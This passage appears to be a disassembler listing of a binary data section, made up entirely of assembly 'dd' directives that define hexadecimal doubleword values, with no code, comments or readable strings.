dd 0E7B557C4h, 0BC18738Ch dd 3D2D9741h, 91B31DEAh, 3FFE776Ch, 742038F7h, 43396283h dd 0AD0DF92Dh, 0D8B69C59h, 6C3453B0h, 5E05290Ah, 0A92FD9C4h dd 0B9B37659h, 0EC33B553h, 0F535AD42h, 0CCAE512Bh, 4466F79Ch dd 0A36280EAh, 73ABC45Bh, 12EB4148h, 0CFAE53ADh, 3565B9C2h dd 0AD653F20h, 0F980EFA7h, 17B9FCF6h, 0B5B91C2Eh, 0FEB8967Eh dd 279F8A32h, 0FF0E6249h, 0E3A33CF0h, 950CB4EEh, 8BABC543h dd 5357FDCDh, 9C1D228Eh, 1E7D618Ah, 0A77D899Bh, 9530A391h dd 0A2E21511h, 92F5D845h, 549869D2h, 0CAB65E50h, 0E8925B52h dd 0F28476B8h, 8E8D6F31h, 0E5C6530Eh, 0DA4827AEh, 0FB2C9D3Ah dd 97C3D86Eh, 0B0CD529Eh, 7A24A6C4h, 6DBA00C5h, 450BE158h dd 91BFEB32h, 90891EB8h, 0F349F2ADh, 294D71F4h, 811391E4h dd 9C448A62h, 73DD877h, 0DCD1FE1Eh, 2CB4D707h, 935495CDh dd 0F06BC45Bh, 99BDE718h, 69CEBCAFh, 3B427AC0h, 0DBB687BFh dd 0BDECDDA6h, 0A47E2500h, 0AE9FF925h, 0B14F3D29h, 2C1C359Ah dd 9FA5E429h, 74400B5Dh, 964B7EADh, 188BA406h, 0F7FB56B1h dd 4114C301h, 0A6542B1h, 0C24B9BF6h, 0EBBCE2CDh, 3DC06D85h dd 7977E98Eh, 3328AD53h, 1C85BD2Fh, 6A2E230Fh, 8B9EBCBDh dd 89CA707Bh, 145A23D5h, 0AA1F22F1h, 2FBF72F0h, 11633998h dd 93EE53A7h, 1E1469E8h, 4849D13Dh, 99E884EDh, 0C98C20E9h dd 9AB62BDDh, 0C0FEA255h, 0BE4002E2h, 16EDB357h, 73428B07h dd 827E88B4h, 0AD9913DBh, 168C9BCDh, 83E74139h, 14AE1A82h dd 0B95A4CB3h, 3DAF3B65h, 431D14A3h, 0C697E499h, 3B3B4820h dd 41272169h, 4A34C771h, 4EBFF11Ah, 256CA26Eh, 0DD15D459h dd 0E1468C79h, 604E8E73h, 0C4DDA01Ch, 63468C5h, 51D4DE80h dd 640C1E20h, 3B07FF3Bh, 0E8C4CDDh, 2A2529F5h, 0D96B0489h dd 0E13E132Eh, 0BC62272Ch, 4A30EA39h, 0CB8AFC0Fh, 0D71590E9h dd 8B4675DDh, 44DC5FDDh, 0FEBF4B35h, 0A446C673h, 306B9395h dd 8EBF035h, 456FEC75h, 76E852FEh, 0F3A11C6Ch, 74E586B3h dd 0DF098101h, 0D5E0F5A7h, 7FFF96CDh, 94953B5Dh, 0D0035626h dd 0CB3BA190h, 6F5D0686h, 6FAAAA0Dh, 9FF4FFB8h, 8E78F36h dd 417BA933h, 9AA683D0h, 1BE3DF21h, 7BF8EB6Eh, 60C34BD3h dd 254B8EF8h, 0E2928DEh, 0B26A11F2h, 30B9A3A9h, 230D8726h dd 0BC926C5h, 0DBB204A6h, 0E5015976h, 4CEE455Ah, 643C5648h dd 4B71EBB4h, 0D8091B38h, 0D3C55C58h, 0E204CB3Ah, 8417926Ch dd 999DE7Ch, 0E7DA270Ah, 836F5E1Dh, 1A75767h, 0F0F23279h dd 0EEA02ED8h, 2BCDFABh, 0D064927Eh, 0F33367B5h, 99ACDCD8h dd 21B623D1h, 0E22E9D7h, 10D91B8Ch, 0CD3825A3h, 0B91ABB3Fh dd 876EB34Bh, 70280F4Ah, 9BB226D9h, 646C3436h, 1267F61Dh dd 0FCDCA648h, 0A8FD6A19h, 4F9CB6D8h, 3B2097DAh, 6C3318A9h dd 8647929h, 0E984F4E2h, 0DEEA847Dh, 0E6CB3F3Dh, 5FF571C4h dd 1C93CF3h, 1E8D93ABh, 181F6C70h, 67B0A2Ch, 62D6C740h dd 2CAC30EEh, 0E7776229h, 9D1521E0h, 0F890D928h, 5B074894h dd 723DB4A7h, 7775576Eh, 88C01A75h, 0CB104270h, 45B83389h dd 879D2CCCh, 0E9179249h, 34DF326Eh, 0C77C2DF0h, 7F9BB5CAh dd 1409A5CFh, 0E720A130h, 0EEBD9869h, 323A13DBh, 0E1FBE769h dd 1FC97E9Ch, 8B3B71C5h, 7F64CC03h, 2B30DF7h, 0B42504B9h dd 0BFDD977Fh, 0ED59FF89h, 5A546274h, 0A7A3FE20h, 57F5F474h dd 9337B4CDh, 7C54FAA2h, 0C782C5E4h, 0CC76F514h, 1819D935h dd 4AB7CBB8h, 26FC0E1Bh, 0D3BE5CE7h, 203CCD16h, 82D52E9Fh dd 0D7CC8370h, 0F8B1ABA8h, 0E21CF63Bh, 4D625887h, 0F86BE6Ch dd 4250BC4Ah, 0BF81A4F4h, 28B75B94h, 0BD418222h, 9A5FC101h dd 0D5119590h, 7E289D95h, 6E470CA7h, 34C5764Fh, 0C8EE86DBh dd 967196B0h, 35B29906h, 0F14CBD5h, 71E24851h, 1C06534Eh dd 0F3EAEBCCh, 94297C6Dh, 51887FD2h, 11521E57h, 75D5339Fh dd 0B2163572h, 2F7EBE33h, 0A50DB8D5h, 8A7E2h, 36F2BA03h dd 0F4C3CA41h, 37B7B669h, 35208ED8h, 2090058Fh, 24D0B08h dd 4E3AEEFFh, 0AD878639h, 51C19A2Bh, 548DAE26h, 0C0D01870h dd 4E899BCBh, 0F2D19460h, 0C4A0FC7Eh, 0B033BE1Dh, 0DAFA96E4h dd 2B10ECD2h, 0B6FFF945h, 61504AE0h, 8A391DBCh, 0FB10B19Dh dd 89AB2870h, 93D48E18h, 0ADE65AB5h, 0D16D8D54h, 8BF18864h dd 0F3DB00A6h, 440EF2A7h, 0E529B8D4h, 0DF593177h, 3A0C814Bh dd 0F9B67764h, 36184C6Bh, 0B0685747h, 976BB637h, 81242D06h dd 5541C12Ah, 0E1BED7EBh, 21E6804Ch, 0AA179A25h, 80CB16F5h dd 0E7AABF38h, 7449917h, 0EBCA969Eh, 0B59344D2h, 4A702F1Eh dd 4BA81EB2h, 3397A35Ah, 62F59F33h, 0B62BF5B9h, 3A025865h dd 0C59489E1h, 0CD4CE9EDh, 44178195h, 16C2024Dh, 0BC2FCB2Eh dd 47AB4EBCh, 456FA424h, 4BB10CD6h, 9287ADFBh, 22CC4B25h dd 9DAAE8C8h, 0B869E385h, 8C821886h, 8B03FD83h, 0E72B7406h dd 0E4719298h, 80ECF322h, 237DCDAEh, 0D30F31D9h, 3CAE245Bh dd 0B9B69A29h, 4F79397h, 72DC42ADh, 905D16Dh, 2C69BFF3h dd 741208A2h, 65214232h, 0E479EE14h, 660C522h, 0BA000283h dd 0A56D7F85h, 57B56E75h, 4FAE40C6h, 0D516E206h, 7DF90B56h dd 2243A2C7h, 178F3F88h, 0D6271FA6h, 15578602h, 3FE1F5CEh dd 4AD56537h, 4D7FB676h, 0C551763h, 26716349h, 2085D245h dd 3A1521F0h, 12354E03h, 0F3C774FCh, 0CA1882ECh, 182FD728h dd 2CA2D019h, 0B328742Ah, 31871DE7h, 4F0C50DCh, 0E4509E5Bh dd 45C1435Dh, 288CF46Eh, 0E3E728B4h, 67E10A23h, 0E615546Ch dd 80492112h, 5E2181C6h, 21AEA90Dh, 0A0656A05h, 0DABA571Bh dd 0B94D63E5h, 7E8EC870h, 25691733h, 0AC1B7128h, 0E05C1468h dd 1E420062h, 0FE3B6D55h, 0ECFD0EF9h, 6590EBC4h, 650B7E9Bh dd 0D65A058h, 26945451h, 91CC0CB2h, 0F59D727Bh, 759BF6BEh dd 5027A1C4h, 14A5A124h, 6771A9ABh, 8C841376h, 0DB5305BDh dd 0EF9C7C69h, 7026E113h, 436E38A0h, 0CA7BC70Ah, 9B10E7Dh dd 0BAE272Fh, 6835DDB2h, 465574B7h, 0A3C273C9h, 876BF973h dd 17EDB985h, 699C00ECh, 9E54C0C4h, 0CD7B6FE2h, 0E0DA6036h dd 427E73C7h, 396CB5EAh, 0F2B71331h, 588797F3h, 6F1A027Fh dd 9FDD4ABBh, 0A2167364h, 1253D49Bh, 7C5E2799h, 9F7ED904h dd 6776E420h, 4E2DDC0Ch, 0D491B791h, 32C8B07Dh, 0D4500F9Fh dd 76B7BFADh, 0B4E4E42Bh, 97DAFDB9h, 33EAE5B8h, 599842E1h dd 23D9AC3Ch, 3F40C99Eh, 5549851Ch, 0F881D7BFh, 0B61FF0B1h dd 3598FE06h, 7351741Ch, 26169D4Eh, 3AC4FA6h, 7FCCB3DBh dd 25F998FBh, 7C700F94h, 1FEC930Eh, 697DB6A9h, 8C5448EFh dd 3F93900Eh, 0B219794h, 7B00937Eh, 12C6149Ch, 1E35789Bh dd 8A857783h, 0BD01B249h, 8B664A5Ah, 86565A1Dh, 591F5A3Fh dd 6BAA7EA6h, 17C72A7Bh, 7A56F484h, 877DBA3Ah, 5A8FEFDAh dd 8AEC81A7h, 2D456B6Bh, 0CDA230F5h, 0A1463A18h, 34ED5D5Dh dd 9059B0AFh, 505C9C4Bh, 9D7DBC23h, 30D7CFCCh, 0E110EAD9h dd 0B0FCEB47h, 0DD7CEAECh, 0A2B33C4h, 8902A0F2h, 3DA3B537h dd 0E02B891Ch, 0FF0C3C5Ch, 43DE9201h, 0DAB84FDEh, 5616975h dd 0B191A7A9h, 4301B8DAh, 6BF20B6Ch, 5CEACA34h, 191F0362h dd 852B733Ch, 3FE1A23Fh, 202329C4h, 8317A87h, 0A6D5091Eh dd 0AAF251B9h, 0E819E12Bh, 2822B366h, 898521ADh, 2A4847CCh dd 0D444BD1Ah, 271A83DBh dd 3C44D9E0h, 0BD0E440Bh, 0A354A042h, 0BF5740FAh, 3A9B36ABh dd 2BDF1467h, 0F0B79B16h, 149715ACh, 0F2B8FF60h, 0CD9CB8F3h dd 46DD56B2h, 0E9AB410Ch, 8A535842h, 0A036F887h, 0ABDC2258h dd 85B829DCh, 0DDDAB535h, 0F8F507FEh, 0E1270952h, 64AB8449h dd 38F080B6h, 35258D13h, 0A01D992Dh, 33BF5AAFh, 9F04EF32h dd 0A9F937FDh, 53D05030h, 0FA126A53h, 152C7826h, 2B95DFE2h dd 5B7E00Ch, 0ABC330A7h, 77E974BBh, 5D2FD3E6h, 0A1D21DC3h dd 9C991DF3h, 7D6505ABh, 12883ECh, 12FB52AEh, 0BFB8919Eh dd 83A5885Bh, 0CA59C055h, 0F3F4A6E4h, 2CE9656Bh, 28FDBE71h dd 5353E879h, 0AD586E9Eh, 0E869E02Eh, 9593359h, 2BB94BB2h dd 28770CA3h, 0DA9091F6h, 0C92153B9h, 0A84FD79Ah, 6B821EC3h dd 3555FBA5h, 0EC479B28h, 0DA8E585Fh, 0DBB32A89h, 620D83FDh dd 84DE4019h, 2F2E5CD2h, 53FC1ED0h, 7C8E517Dh, 0DD1CC801h dd 27707A86h, 2F27490Ah, 99D20670h, 0B90593BEh, 8EF3650Eh dd 0FBE5166Fh, 4E1855BFh, 7500F62Fh, 91E0855Fh, 0B080C2DEh dd 0C7025B43h, 3FBC3B29h, 58B860D5h, 542C5E0Eh, 68B6ECCCh dd 89CC8BC1h, 0A77ABEE0h, 82326983h, 0AAC6A23Fh, 33B310BEh dd 0A7A50592h, 99DC5E96h, 5E08A6C4h, 0E123E8FAh, 55DBD75Ah dd 1966C45Bh, 0BEB0C289h, 83D94635h, 0CA72808Ah, 75C5E88Eh dd 6DFB0E6h, 6C5D819Dh, 7E8D515Dh, 5E67B22Fh, 43CA940Fh dd 63443553h, 0B5F3E992h, 10587FB0h, 0DFA25F6Eh, 0F4FF9CA5h dd 50AFC16Eh, 0AD4B98FCh, 61672647h, 0EF75EB9Ah, 0EDA27A8h dd 0CCDFE1D2h, 26CD51FCh, 0C514D64Bh, 0E7A570E1h, 32965A63h dd 0A0A7FAB3h, 0FD3D5079h, 646CDDA4h, 601DCE57h, 0D4B5E052h dd 0F60459BAh, 55C066ABh, 0EA8A0B8Ah, 88F501E2h, 0F5F15806h dd 91E630E7h, 6B5F2635h, 4CB46043h, 5F1452B9h, 83DE1029h dd 1E3ABD58h, 0E63C1B7Fh, 58766164h, 73BCABA5h, 0B4A11E8Dh dd 0C45FD005h, 771A217h, 0F3F40CF7h, 0E3763927h, 75E2EA74h dd 0C92C11DCh, 80ED60D8h, 0E75804C9h, 4758C83Bh, 3744AB56h dd 0FB27FF4Dh, 18DFD243h, 9554A564h, 0B3C775FFh, 152B5C3Ch dd 0AECBD524h, 8E056A3Fh, 47F4DE1Dh, 161AEBF4h, 8A8EC7FCh dd 68AFA730h, 7D37D523h, 7CBE6479h, 0E7AEF8ADh, 97A8FE98h dd 0BD86625h, 19E67412h, 13F7EEACh, 891E95B2h, 1FFA8996h dd 58C2326Bh, 552863D3h, 138275E2h, 0B3DA329Dh, 5E7DB7F9h dd 77A68F05h, 28499F18h, 941D4E56h, 0F1028532h, 5C23348Ah dd 90C8557Ch, 43FF3334h, 5F7350F5h, 69E8F79Eh, 2A39F329h dd 7762BEC2h, 647D178Bh, 3D7E4E9Ch, 56C37AB5h, 0F7B3EED2h dd 0C3A29F6Eh, 0BD4BBA79h, 14C636AEh, 29136CCCh, 514EDAFBh dd 0B5D3C90h, 4D931BE1h, 0A741FF75h, 70942972h, 0D400E983h dd 7F773BC9h, 2E3A4865h, 4FBB39ADh, 8F3830D4h, 9D5C2609h dd 762DFC8Eh, 864B373Eh, 0BF16CF8Bh, 0D074422Fh, 0DEEB468Ch dd 0AEE0CB99h, 31757460h, 1E4AFB5Fh, 0C2747F07h, 0BA4FF3C9h dd 105BD5h, 0CC488211h, 6F12FC2Ch, 46DBE8B2h, 892AF959h dd 0C81937FAh, 7E064CA3h, 3772A8AFh, 62AE23E7h, 0A7FC4DD4h dd 0AF75B0E8h, 0B8705A01h, 0F2FBF35Ch, 2E4496CAh, 8F01048Ah dd 0CB1B704Ah, 0E1F7FE3h, 2D005EC6h, 0E3EF7379h, 0A77F9009h dd 0EE0B7D9Fh, 2C5590F3h, 3648173Ch, 0EA9C715Ah, 4AC68E0Eh dd 5B213F37h, 0F763F1A6h, 74E9E9ACh, 4C78AFE6h, 7588F99Eh dd 4EA3538Bh, 0B528417Eh, 698AC985h, 44A77060h, 6D755F01h dd 30F418D3h, 5DA56FAh, 0FF7DF7C9h, 9C82020Ch, 0F27D892h dd 144174ACh, 7AF928D8h, 214502F4h, 15AD9029h, 9E66D78Eh dd 0C6D04C66h, 975CB996h, 0A3D24FBh, 0FFC325BFh, 538D8136h dd 624EC772h, 8E26DE1Fh, 0E4993070h, 0C5E5F42Fh, 0A15B7DBEh dd 0FEC84316h, 0E3F9F980h, 71F12D5Eh, 0E1BF14E2h, 0B572F9DEh dd 78E05047h, 3E706BE5h, 0B640D23Dh, 9BD87DB7h, 8F3D4ED0h dd 49BC143Ah, 4FC49330h, 3C56C82Ah, 0DEBAFC32h, 92CC76E5h dd 0F8F03466h, 0BAA1453Bh, 0DC310C4Ah, 594D74DFh, 0C157F45Fh dd 9200CBEEh, 84C001EBh, 551A3DB0h, 532C74C1h, 0A66F1463h dd 7CA4FB1Ah, 0AEDDEEC9h, 0B8D7A874h, 0CB0D3B33h, 51797CA9h dd 266A8EE2h, 13869038h, 0A975BCD5h, 63B58E7Bh, 176CC7F0h dd 70923491h, 4C499266h, 92B7D040h, 0A7FFD980h, 0D63F7819h dd 74E4E1A9h, 0CF74A05Fh, 31E1DA0Fh, 0B38263E4h, 7FCFFF11h dd 0CF6E4299h, 0AA04650Eh, 8460BE0Bh, 90BF8E67h, 0C9EB9CD0h dd 0C9B0D2EDh, 7F3102EFh, 102CECC6h, 0E65F364Fh, 633B1CC0h dd 5480AF78h, 993AD4C5h, 6B3E1AADh, 0F10107A5h, 0D9C178D0h dd 4DE75D20h, 0A8B0B7BFh, 0C817754h, 0B7E981A5h, 904EE5E8h dd 3025517Ch, 8F6CC69h, 547EF68Eh, 67F4875h, 59401F63h dd 9769725Ah, 0F3A838C4h, 99A603D8h, 88DCB3F8h, 24ED5D01h dd 0CD0BA1EFh, 0D7562222h, 1542D28h, 940E31ADh, 778761C1h dd 57206FEDh, 1F8A2AD8h, 227E9D1Eh, 4D2B565Ch, 70842359h dd 3A49414Fh, 69F953EFh, 0F9A1DC8Eh, 81DA2D24h, 59FCD005h dd 940746BDh, 92315D28h, 1B6A5B9Dh, 0C02A2CF8h, 904F7AFDh dd 0CDB38739h, 0C219687Ch, 93BF763h, 0EB867035h, 0B905055Dh dd 0F0CA4A1Bh, 2256DBB0h, 17923EAAh, 853F82ACh, 0F3673437h dd 4A393388h, 215ED327h, 3A69D0C2h, 0F61C20BDh, 684BB0EBh dd 0F8CA7249h, 8CCCA654h, 38791072h, 9697F62Fh, 714318CCh dd 7E3AE3DCh, 889A9099h, 45A16C2Ch, 2A516B24h, 87B184E2h dd 7DA0F5FCh, 0BF702438h, 0CA312459h, 80AA5EBAh, 49A3DE1Bh dd 0F825F573h, 0EB25E0h, 28D24420h, 6A55443Ch, 25F5D8F8h dd 4C544FACh, 0F78FE3E7h, 0D3725D73h, 0F73DED94h, 0B45DE15Ch dd 0DC325A29h, 96FC3E7Fh, 45C3AA68h, 9C5AAB2h, 18B6992Fh dd 1F5CB4E5h, 3204D267h, 534C28E8h, 0E9B8488h, 0ECCC274Ah dd 79C89882h, 0E457B469h, 0B557D24Ch, 2BC3DFD1h, 7AA5FE9Eh dd 7CD9B7Dh, 47777CF5h, 2F7C1377h, 0F9605C2Eh, 62D664ECh dd 0B0A8702Ch, 55DE6B7h, 9176E368h, 0EFD905E1h, 89D85909h dd 0AF21300Dh, 0BE1BD27Fh, 6D3288CDh, 0CFDB25B6h, 0B557CE0Fh dd 4B3DD206h, 2F0458A2h, 5CBBD25Eh, 0B092E845h, 0E1D7FCF2h dd 16C20F97h, 0E48DFA84h, 0CE53C42h, 0D4E88B92h, 0D0B288C1h dd 799D25EEh, 82502B2Ch, 56E48E87h, 6D3A4E96h, 9E9C2715h dd 3845FF5h, 0F4BDAE07h, 1229586Ch, 0CACCDA02h, 0B5B2EE64h dd 0B0C6995Fh, 3918EE12h, 0A423B255h, 68EA0FD0h, 0F9E5D1E0h dd 6D0B20D6h, 0FA9ADB3Eh, 399A0F05h, 2B3476FCh, 81829D9Ch dd 5B06CD68h, 2A61FB86h, 6FCEFE87h, 7F9836CEh, 21EC5283h dd 0D7AB29Ch, 0F609C89Ch, 14755814h, 762289BDh, 8FB79240h dd 637F62D9h, 68B8FF30h, 0CA40383Eh, 91D92C80h, 0D9678DAFh dd 16A2D5E4h, 1CA2F469h, 0B6D542DAh, 0FC5E2B66h, 6BD65BEBh dd 3B958A9Eh, 5F2C6DAAh, 2B66AA5Ah, 738B0A62h, 0BD2F9E85h dd 0EEE85F12h, 0FE104AFAh, 3D02FA29h, 0FDFE9CFCh, 85D4D67Ah dd 0C36BACBBh, 846B1263h, 6B09A659h, 0C6A53BA9h, 0D99FC180h dd 2FCB16BCh, 5200824h, 5A6BEF4Dh, 97A0AE2Dh, 9C35C3E0h dd 8762EA7Dh, 0D7F40510h, 4B08D33Bh, 916BBD50h, 971F62B5h dd 9B1D57A9h, 7DD8D349h, 184DB09Fh, 0BB02E266h, 0F9538D24h dd 8FFA7011h, 0DE3CA1AEh dd 0F8789638h, 8D3B91F7h, 0A2B9EDA3h, 8D77D8C8h, 0CC4F1476h dd 0C54852EFh, 808267EFh, 0AA702A0Bh, 0CF13E228h, 373116A9h dd 0CA303EA0h, 33143170h, 0AE27856Fh, 228B759Ah, 0AC930C1Dh dd 98E2EDD9h, 24FB9E15h, 0FB2DE3CBh, 3EB081ACh, 0CE73BD52h dd 8F7FC53h, 0D30CE1B6h, 75C5753Ah, 91C43BAEh, 704E3CBDh dd 0E1B750A0h, 0A960A477h, 0AAE8C21Dh, 0BB159C02h, 0E6E016D4h dd 0AB7153BFh, 0D4968C15h, 495F1BF2h, 77A55365h, 0E65D21A0h dd 4A55123Ah, 2E8F8EE9h, 686744A2h, 854AC12Ah, 0FF21110Bh dd 81E049EDh, 0F282F4E7h, 1DB8A73Bh, 49C85C24h, 0E4FD1900h dd 1C5FA481h, 1A783CD8h, 295B87F7h, 2FE1630Eh, 196378DFh dd 0FD704C58h, 7EA12792h, 6F127B51h, 0AFD3756Eh, 522129B5h dd 441DF150h, 2CB3944Fh, 0F36643BAh, 0C178AE37h, 0B94B304Ch dd 0CA333953h, 59087550h, 3991388Fh, 0F619752Ah, 6A5055F6h dd 0D3E5E895h, 9D714635h, 8080292Ch, 1E27E757h, 8D554A9Bh dd 8CAF6B94h, 3FD41B1h, 0B697EE3Bh, 0C18C7E39h, 6363B06Ah dd 0EE5CC787h, 6E50640Ah, 0E9DEC7DAh, 15378744h, 1D0B707Fh dd 0D9010175h, 2CDDCB6h, 0A0D470DAh, 6AC79524h, 73C80484h dd 2BA90C84h, 0A465B6DDh, 98AEBB53h, 9AF98C4Fh, 0F87FE3E4h dd 6E96E70Bh, 8C82E071h, 0EE3766D5h, 506BED63h, 0D1C22171h dd 5B15CCA3h, 0B6B98334h, 0BB9B9E47h, 96CC662Fh, 0E2FA61CFh dd 2903EE2Fh, 7ABE004Ah, 0CFE98E40h, 6894B36Eh, 9803F824h dd 0DD68E951h, 0E151E466h, 87AE5EC6h, 2C04C4DCh, 35F33765h dd 107B223Ch, 49C5764Ah, 0C6723D8h, 67522A98h, 135FDF37h dd 5DD8815Dh, 31D0A950h, 35332A84h, 0BBC107FBh, 153228EDh dd 0D836001Ah, 2635D4FEh, 8FA5DFCBh, 5256B4EAh, 5E5157A4h dd 0EE5E7306h, 29C999C9h, 6F34BE7Ch, 1E5F24CAh, 6594876Eh dd 0A90321A8h, 0E6B1CEDEh, 12A08724h, 82F1AA8Eh, 922D3AF1h dd 52E0D30Ch, 0F5B33911h, 0A7AFE064h, 74C669BFh, 0F079F4ECh dd 0FB67D773h, 4BF851D6h, 9BFADD59h, 0E39D7379h, 88FB3985h dd 0DD47E2Ah, 0F608BFF1h, 0E647560Eh, 0FB41176Eh, 37552D03h dd 5DA661ADh, 0E01F9066h, 0A07750B7h, 6AE57B08h, 0F9FB7CAFh dd 238300B6h, 540E8357h, 0F6244F7Bh, 13DAD60Ch, 8633D074h dd 38E10BB2h, 66EE6C6Ch, 0ABB4F04Bh, 8190DAFBh, 0FEC1BC0h dd 0E697BE36h, 0B7186DA6h, 88FC83CBh, 896DCA83h, 0A2F47FABh dd 25F2DCA2h, 7E8B6A61h, 70203870h, 3E673C9h, 5E080DB8h dd 0B2B4F382h, 11D92F39h, 2BB62CB2h, 0E2F24098h, 1DE11C7Eh dd 0AED00C5h, 0A83B2D65h, 0AA472D39h, 29603868h, 16F68B00h dd 0D7DAC3DEh, 69C681ECh, 3D36FF24h, 79E11DDDh, 1E737D4Bh dd 0BEBA2E4Bh, 0CF67A6BCh, 8E0A58EEh, 1F58D3EFh, 5EB77BFBh dd 0FB65B00Bh, 2D7D1BE4h, 62A11EDEh, 2017E9C9h, 68338853h dd 0B00C2AD9h, 3E9C4F5Ah, 0AF6EFB2Fh, 0BFA74056h, 38EA5B8Ah dd 0DEF42D43h, 0C62FAE3Dh, 567A39FAh, 0CF206846h, 292CEAE9h dd 18F296D4h, 0DE712DDEh, 0BA2628AFh, 7BC054FEh, 9A817995h dd 0EC1341F5h, 95F60889h, 6F2F88FBh, 154AFE65h, 9C8A42D4h dd 3AA0AE65h, 0D1BC092Eh, 8937B1E6h, 0A38EDCAh, 72D68AF7h dd 700CF0CDh, 61ABA1EEh, 89F08128h, 7F8A9113h, 14E09596h dd 0B7DEE1D9h, 71FCA676h, 987FE0ECh, 9E918976h, 0AB3F64C1h dd 775DC854h, 1CB7533Eh, 288541A2h, 4A31A3BCh, 0DDAB59AEh dd 5E57C67Ah, 911F24FCh, 0EEF79A2Ah, 3D247B08h, 73AEFFEFh dd 0C16D6074h, 0F23FEC79h, 1358FBB7h, 9D43716Ch, 0E5A486F3h dd 869624EDh, 58D8EC1Eh, 87398BEDh, 56A48DEAh, 0D78A3725h dd 3AD5826Bh, 0C26D45E8h, 0A1D79B5Bh, 0F7D5F3DDh, 2908C16Dh dd 7D9F48D8h, 0EB302B8Bh, 8473278Eh, 0F2A69895h, 92E4708h dd 96FDA44Ah, 0B786E28Dh, 94CB6463h, 2A4726E8h, 2C86A2FFh dd 0CE4C7D7Eh, 287A9540h, 0BEC14BC9h, 0E05F18B1h, 68EDC127h dd 595C858Fh, 0CA7896F2h, 0BAA8E98Dh, 1748149h, 6F03040Ah dd 2A71FA24h, 0D5FCA3EFh, 86BEF3FEh, 1FE5499Dh, 19979699h dd 1C00B16Bh, 0B060927Ch, 854C5E0Ch, 0DE919B03h, 0FCDEE0Ah dd 0D3783FE6h, 0C7A71F18h, 0BE26ED1Ch, 967071B4h, 3A33F96Dh dd 0A353237Ch, 0AB0D5CEDh, 98844E9Ch, 7DE70C89h, 14C38AACh dd 0FDABB984h, 0F8B74F3Eh, 0FB9BF031h, 35CD7E5Ah, 0D41DF292h dd 26F2719h, 55EBB67Ch, 1DBC2660h, 0F5C01C42h, 191B0FBEh dd 0FABC5E4Fh, 0A76F410h, 173B9B17h, 10EC462Fh, 1EB57F40h dd 2F290D68h, 352C8FE7h, 0CDB4E837h, 9EFE1B5Ch, 0CB08DA05h dd 33799AFDh, 1CF9FC80h, 0FB48A109h, 1ADF4728h, 26DED5Fh dd 45266519h, 51007AD3h, 4301B8EBh, 83D41310h, 268C736Eh dd 0FA95EAF1h, 38968DD3h, 4943DE31h, 2C1649FFh, 6A96952h dd 45F94970h, 94C48C0Eh, 416FD3B9h, 0AD0D79FFh, 5A642428h dd 8EE4E0A3h, 0D0DD6332h, 0E2A69763h, 23A68946h, 0F03320A4h dd 0D3F5A09Eh, 2005955h, 0EFDEE18Dh, 0CF03B56Bh, 99729ED6h dd 0C0CC50EDh, 90F2A7CCh, 1369570h, 0C72D34A8h, 301C567Ah dd 0D6723164h, 0EB165093h, 5A31839Bh, 4EF94AEDh, 0F98C0ADCh dd 551C19E8h, 14C0995Ah, 0FB4A983h, 3F02534Ch, 4364D366h dd 596BD8E8h, 0EA629E65h, 0B8F88FB7h, 0B811FAC8h, 0C22A5648h dd 4CF12471h, 6EEA2B23h, 0FBB6CFF6h, 0E650BDD7h, 0B2A2A94Fh dd 535FC7ACh, 0A6BE0912h, 0AAAD364Ah, 42E44229h, 0F6B3E970h dd 4B954A08h, 0DE9266ABh, 26A5402Fh, 34CFEFF9h, 8F444F45h dd 4236CEE2h, 726F778Ah, 854A2136h, 8E1CA9FDh, 0AB35E7A0h dd 409CF702h, 1572717Ch, 0C0A67B9Ch, 527ACEC4h, 0D3663B20h dd 6CF6EFF6h, 0DE308C36h, 337F2755h, 91B89C32h, 29F70C66h dd 5BCB0F45h, 2F1C89C9h, 5BBE92EDh, 94F4673Ch, 5A9B2C23h dd 8D9ECEEFh, 0F08AC777h, 96D4C4C6h, 0C4E39BE2h, 5C34E1BEh dd 0B7424897h, 0A3CEAAE5h, 33010272h, 8161A11Fh, 0A6DE9515h dd 7730795Ch, 30C04C99h, 12FBF5B2h, 142487EDh, 76AA77ACh dd 54F55BC1h, 0C15FBB82h, 0D19B1ECCh, 0ED522BD1h, 0F987D3BBh dd 1E76A158h, 7001BA27h, 943DFB2Bh, 19269348h, 0E07F82B1h dd 359214ACh, 98E7110h, 0E3F2A77Bh, 39732FDDh, 361B7A47h dd 3764224Ch, 1A6D4E74h, 25EDB539h, 0B3213CD3h, 0A2288201h dd 0FE373416h, 48499005h, 3F9A4927h, 3C0AD1F3h, 0B50225EFh dd 0D0561AAFh, 83465030h, 0F813AD02h, 83CC3C9h, 4EB25144h dd 76C0731Fh, 0BA338Eh, 273FBAADh, 0BD90B55h, 560013D5h dd 0F64A4FF0h, 0D71CC246h, 1D6568B8h, 5D1A0FEAh, 59203ED4h dd 0FB869FAFh, 5C74B92Bh, 37E4B4AFh, 0A5D87D3Bh, 0FA56FBF3h dd 9251E142h, 0E98AE2F6h, 9C66548Bh, 6E0466E9h, 6E2DDCF9h dd 0F68ED21Ch, 9C5F670Fh, 0CD30DDB9h, 0C8894079h, 0EDC8CD30h dd 0BA5ABE1Ah, 0FF2DCE42h, 0BDD95EFDh, 1C000h, 1E5Ah, 0BC065E00h dd 4E870640h, 64B010F0h, 5E266327h, 41707F01h, 7D36CEADh dd 57BE2898h, 0F62F5C41h, 0ECD5642Bh, 75B7B58h, 0BE074D85h dd 0DA89EBE4h, 778100A0h, 858EDF44h, 77895240h, 5DD77011h dd 9F17C25Fh, 42896BD3h, 145390B9h, 4F8E283h, 853309A2h dd 9752F1CAh, 9DC97EFh, 0C4357034h, 0C99F2BE0h, 4784EB0Bh dd 1141206Fh, 66ECBA6h, 0D27B322h, 0BCABC31Ch, 0AF14CC79h dd 651C9EC3h dd 10F1678Dh, 3B4213CEh, 0AD2DCEDh, 0E2D0477Fh, 1D2A696h dd 0D87EC131h, 0FCF090E8h, 2480FE81h, 55796912h, 0A47F5996h dd 646AE718h, 0D446A885h, 0D9C7B4D6h, 72593044h, 7F4DD887h dd 9FA7F6F0h, 0DFD4E55Dh, 110BF46Eh, 9B30D23Fh, 824C7ACBh dd 95CB303h, 9D5302FEh, 903324EEh, 51623464h, 3ED483CBh dd 42434A2Bh, 0F9E26503h, 0B9505F06h, 706F04F2h, 0B1EC3349h dd 55C6FD27h, 0FCE2998Bh, 901AF4FDh, 8A4E9587h, 0F87B450Eh dd 0CF596C43h, 0CE5764F3h, 0CF3B4D33h, 0BCF68CE2h, 0D7029787h dd 4EDB9F1Dh, 0C6880B50h, 11EC2255h, 233DF7A7h, 6C321562h dd 95F0401Ch, 30E20765h, 93BA5FAFh, 0D074F8EFh, 307CD4F2h dd 177DB3FCh, 0AAD6F965h, 